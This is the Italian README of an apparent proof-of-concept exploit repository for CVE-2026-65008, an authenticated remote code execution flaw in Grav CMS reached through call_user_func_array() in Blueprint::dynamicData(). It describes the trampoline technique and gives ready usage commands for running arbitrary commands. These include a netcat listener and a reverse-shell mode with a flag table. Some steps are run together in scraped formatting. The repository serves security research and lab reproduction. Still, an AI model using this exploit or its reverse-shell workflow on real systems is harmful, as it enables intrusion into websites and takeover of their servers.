
CVE-2026-65008
Proof-of-concept per CVE-2026-65008: esecuzione remota di codice autenticata in Grav CMS tramite call_user_func_array() senza restrizioni in Blueprint::dynamicData().
Un utente con admin.pages (o api.pages.write) può inserire un frontmatter di form dannoso. Il payload viene quindi eseguito come utente del web-server quando qualsiasi visitatore (inclusi quelli non autenticati) carica la pagina.
Solo test autorizzati. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.
| Ruolo | |
|---|---|
| Segnalatori della vulnerabilità | YuvalMil, MatiHub25, LeonKaya |
| Advisory del vendor | GHSA-fj2p-qj2f-74v5 |
| Questo repository | PoC / automazione di laboratorio indipendente |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() passa un callable Class::method controllato dall'attaccante e argomenti a call_user_func_array() di PHP senza alcuna allowlist. Combinato con Grav\Common\Utils::arrayFilterRecursive come trampoline, raggiunge system() / passthru / ecc.
Corretto in Grav 2.0.7+.
9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstalla:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Avvia prima il listener:
nc -lvnp 4444
Poi:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (estrai login-nonce)admin_nonce dal pannello di amministrazionedata-opts@:www-dataQuesto progetto è solo a scopo educativo e di ricerca di sicurezza autorizzata. L'autore non è responsabile per un uso improprio. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di terze parti. La vulnerabilità originale è stata divulgata tramite l'advisory del vendor; questo repository dimostra esclusivamente la riproduzione in laboratorio.
Per uso di ricerca. Nessuna garanzia.
| Flag | Descrizione |
|---|
-u, --url | URL base del target (obbligatorio) |
-U, --username | Utente admin / con permessi di modifica pagine (predefinito: admin) |
-P, --password | Password (obbligatoria) |
-c, --command | Comando da eseguire (predefinito: id) |
--lhost | LHOST per la reverse shell |
--lport | LPORT per la reverse shell (predefinito: 4444) |
--folder | Nome della cartella della pagina (predefinito: rcepoc) |
--no-verify | Disabilita la verifica TLS |